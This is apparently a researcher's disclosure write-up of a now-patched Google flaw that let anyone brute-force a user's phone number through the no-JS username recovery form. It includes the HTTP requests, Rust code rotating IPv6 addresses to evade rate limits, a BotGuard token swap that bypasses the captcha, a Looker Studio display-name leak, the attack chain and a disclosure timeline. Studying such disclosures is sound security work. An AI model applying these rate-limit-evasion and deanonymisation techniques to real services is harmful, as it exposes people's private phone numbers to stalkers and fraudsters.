{"content":"Leaking the phone number of any Google user\n\nA few months ago, I disabled javascript on my browser while testing if there were any Google services left that still worked without JS in the modern web. Interestingly enough, the username recovery form still worked!\n\nThis surprised me, as I used to think these account recovery forms required javascript since 2018 as they relied on botguard solutions generated from heavily obfuscated proof-of-work javascript code for anti-abuse.\n\nA DEEPER LOOK INTO THE ENDPOINTS\n\nThe username recovery form seemed to allow you to check if a recovery email or phone number was associated with a specific display name. This required 2 HTTP requests:\n\nRequest\n\nPOST /signin/usernamerecovery HTTP/2\nHost: accounts.google.com\nCookie: __Host-GAPS=1:a4zTWE1Z3InZb82rIfoPe5aRzQNnkg:0D49ErWahX1nGW0o\nContent-Length: 81\nContent-Type: application/x-www-form-urlencoded\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\n\nEmail=+18085921029&hl=en&gxf=AFoagUVs61GL09C_ItVbtSsQB4utNqVgKg%3A1747557783359\n\n> The cookie and gxf values are from the initial page HTML\n\nResponse\n\nHTTP/2 302 Found\nContent-Type: text/html; charset=UTF-8\nLocation: https://accounts.google.com/signin/usernamerecovery/name?ess=....&hl=en\n\nThis gave us a ess value tied to that phone number we can use for the next HTTP request.\n\nRequest\n\nPOST /signin/usernamerecovery/lookup HTTP/2\nHost: accounts.google.com\nCookie: __Host-GAPS=1:a4zTWE1Z3InZb82rIfoPe5aRzQNnkg:0D49ErWahX1nGW0o\nOrigin: https://accounts.google.com\nContent-Type: application/x-www-form-urlencoded\nPriority: u=0, i\n\nchallengeId=0&challengeType=28&ess=&bgresponse=js_disabled&GivenName=john&FamilyName=smith\n\nThis request allows us to check if a Google account exists with that phone number as well as the display name \"John Smith\".\n\nResponse (no account found)\n\nHTTP/2 302 Found\nContent-Type: text/html; charset=UTF-8\nLocation: https://accounts.google.com/signin/usernamerecovery/noaccountsfound?ess=...\n\nResponse (account found)\n\nHTTP/2 302 Found\nContent-Type: text/html; charset=UTF-8\nLocation: https://accounts.google.com/signin/usernamerecovery/challenge?ess=...\n\nCAN WE EVEN BRUTE THIS?\n\nMy first attempts were futile. It seemed to ratelimit your IP address after a few requests and present a captcha.\n\nPerhaps we could use proxies to get around this? If we take Netherlands as an example, the forgot password flow provides us with the phone hint •• ••••••03\n\nFor Netherlands mobile numbers, they always start with 06, meaning there's 6 digits we'd have to brute. 10**6 = 1,000,000 numbers. That might be doable with proxies, but there had to be a better way.\n\nWHAT ABOUT IPV6?\n\nMost service providers like Vultr provide /64 ip ranges, which provide us with 18,446,744,073,709,551,616 addresses. In theory, we could use IPv6 and rotate the IP address we use for every request, bypassing this ratelimit.\n\nThe HTTP server also seemed to support IPv6:\n\n~ $ curl -6 https://accounts.google.com\n\n\nMoved Temporarily\n\n\n\n

Moved Temporarily

\nThe document has moved here.\n\n\n\nTo test this out, I routed my IPv6 range through my network interface and I started work on gpb, using reqwest's local_address method on its ClientBuilder to set my IP address to a random IP on my subnet:\n\npub fn get_rand_ipv6(subnet: &str) -> IpAddr {\n let (ipv6, prefix_len) = match subnet.parse::() {\n Ok(cidr) => {\n let ipv6 = cidr.first_address();\n let length = cidr.network_length();\n (ipv6, length)\n }\n Err(_) => {\n panic!(\"invalid IPv6 subnet\");\n }\n };\n\n let ipv6_u128: u128 = u128::from(ipv6);\n let rand: u128 = random();\n\n let net_part = (ipv6_u128 >> (128 - prefix_len)) << (128 - prefix_len);\n let host_part = (rand << prefix_len) >> prefix_len;\n let result = net_part | host_part;\n\n IpAddr::V6(Ipv6Addr::from(result))\n}\n\npub fn create_client(subnet: &str, user_agent: &str) -> Client {\n let ip = get_rand_ipv6(subnet);\n\n Client::builder()\n .redirect(redirect::Policy::none())\n .danger_accept_invalid_certs(true)\n .user_agent(user_agent)\n .local_address(Some(ip))\n .build().unwrap()\n}\n\nEventually, I had a PoC running, but I was still getting the captcha? It seemed that for whatever reason, datacenter IP addresses using the JS disabled form were always presented with a captcha, damn!\n\nUSING THE BOTGUARD TOKEN FROM THE JS FORM\n\nI was looking through the 2 requests again, seeing if there was anything I could find to get around this, and bgresponse=js_disabled caught my eye. I remembered that on the JS-enabled account recovery form, the botguard token was passed via the bgRequest parameter.\n\nWhat if I replace js_disabled with the botguard token from the JS-enabled form request? I tested it out, and it worked??. The botguard token seemed to have no request limit on the No-JS form, but who are all these random people?\n\n$ ./target/release/gpb --prefix +316 --suffix 03 --digits 6 -f Henry -l Chancellor -w 3000\nStarting with 3000 threads...\nHIT: +31612345603\nHIT: +31623456703\nHIT: +31634567803\nHIT: +31645678903\nHIT: +31656789003\nHIT: +31658854003\nHIT: +31667890103\nHIT: +31678901203\nHIT: +31689012303\nHIT: +31690123403\nHIT: +31701234503\nHIT: +31712345603\nHIT: +31723456703\n\nIt took me a bit to realize this, but those were all people who had the Google account name \"Henry\" with no last name set, as well as a phone with the last 2 digits 03. For those numbers, it would return usernamerecovery/challenge for the first name Henry and any last name.\n\nI added some extra code to validate a possible hit with the first name, and a random last name like 0fasfk1AFko1wf. If it still claimed it was a hit, it would be filtered out, and there we go:\n\n$ ./target/release/gpb --prefix +316 --suffix 03 --digits 6 --firstname Henry --lastname Chancellor --workers 3000\nStarting with 3000 threads...\nHIT: +31658854003\nFinished.\n\n> In practise, it's unlikely to get more than one hit as it's uncommon for another Google user to have the same full display name, last 2 digits as well as country code.\n\nA FEW THINGS TO SORT OUT\n\nWe have a basic PoC working, but there's still some issues we have to address.\n\n * How do we know which country code a victim's phone is?\n\n * How do we get the victim's Google account display name?\n\nHOW DO WE KNOW WHICH COUNTRY CODE A VICTIM'S PHONE IS?\n\nInterestingly enough, it's possible for us to figure out the country code based off of the phone mask that the forgot password flow provides us. Google actually just uses libphonenumbers's \"national format\" for each number.\n\nHere's some examples:\n\n{\n ...\n \"• (•••) •••-••-••\": [\n \"ru\"\n ],\n \"•• ••••••••\": [\n \"nl\"\n ],\n \"••••• ••••••\": [\n \"gb\"\n ],\n \"(•••) •••-••••\": [\n \"us\"\n ]\n}\n\nI wrote a script that collected the masked national format for all countries as mask.json\n\nHOW DO WE GET THE VICTIM'S GOOGLE ACCOUNT DISPLAY NAME?\n\nInitially in 2023, Google changed their policy to only show names if there was direct interaction from the target to you (emails, shared docs, etc.), so they slowly removed names from endpoints. By April 2024, they updated their Internal People API service to completely stop returning display names for unauthenticated accounts, removing display names almost everywhere.\n\nIt was going to be tricky to find a display name leak after all that, but eventually after looking through random Google products, I found out that I could create a Looker Studio document, transfer ownership of it to the victim, and the victim's display name would leak on the home page, with 0 interaction required from the victim:\n\nOPTIMIZING IT FURTHER\n\nBy using libphonenumbers's number validation, I was able to generate a format.json with mobile phone prefix, known area codes and digits count for every country.\n\n ...\n \"nl\": {\n \"code\": \"31\",\n \"area_codes\": [\"61\", \"62\", \"63\", \"64\", \"65\", \"68\"],\n \"digits\": [7]\n },\n ...\n\nI also implemented real-time libphonenumber validation to reduce queries to Google's API for invalid numbers. For the botguard token, I wrote a Go script using chromedp that lets you generate BotGuard tokens with just a simple API call:\n\n$ curl http://localhost:7912/api/generate_bgtoken\n{\n \"bgToken\": \"\"\n}\n\nPUTTING IT ALL TOGETHER\n\nWe basically have the full attack chain, we just have to put it together.\n\n * Leak the Google account display name via Looker Studio\n * Go through forgot password flow for that email and get the masked phone\n * Run the gpb program with the display name and masked phone to bruteforce the phone number\n\nTIME REQUIRED TO BRUTE THE NUMBER\n\nUsing a $0.30/hour server with consumer-grade specs (16 vcpu), I'm able to achieve ~40k checks per second.\n\nWith just the last 2 digits from the Forgot Password flow phone hint:\n\nCountry code Time required United States (+1) 20 mins United Kingdom (+44) 4 mins Netherlands (+31) 15 secs Singapore (+65) 5 secs\n\nThis time can also be significantly reduced through phone number hints from password reset flows in other services such as PayPal, which provide several more digits (ex. +14•••••1779)\n\nTIMELINE\n\n * 2025-04-14 - Report sent to vendor\n * 2025-04-15 - Vendor triaged report\n * 2025-04-25 - 🎉 Nice catch!\n * 2025-05-15 - Panel awards $1,337 + swag. Rationale: Exploitation likelihood is low. (lol)\n Issue qualified as an abuse-related methodology with high impact.\n * 2025-05-15 - Appeal reward reason: As per the Abuse VRP table, probability/exploitability is decided based on pre-requisites required for this attack and whether the victim can discover exploitation. For this attack, there are no pre-requisites and it cannot be discovered by the victim.\n * 2025-05-22 - Panel awards an additional $3,663. Rationale: Thanks for your feedback on our initial reward. We took your points into consideration and discussed at some length. We're happy to share that we've upgraded likelihood to medium and adjusted the reward to a total of $5,000 (plus the swag code we've already sent). Thanks for the report, and we look forward to your next one.\n * 2025-05-22 - Vendor confirms they have rolled out inflight mitigations while endpoint deprecation rolls out worldwide.\n * 2025-05-22 - Coordinates disclosure with vendor for 2025-06-09\n * 2025-06-06 - Vendor confirms that the No-JS username recovery form has been fully deprecated\n * 2025-06-09 - Report disclosed","contentType":"text/plain;utf-8","attachments":[],"quotePin":""}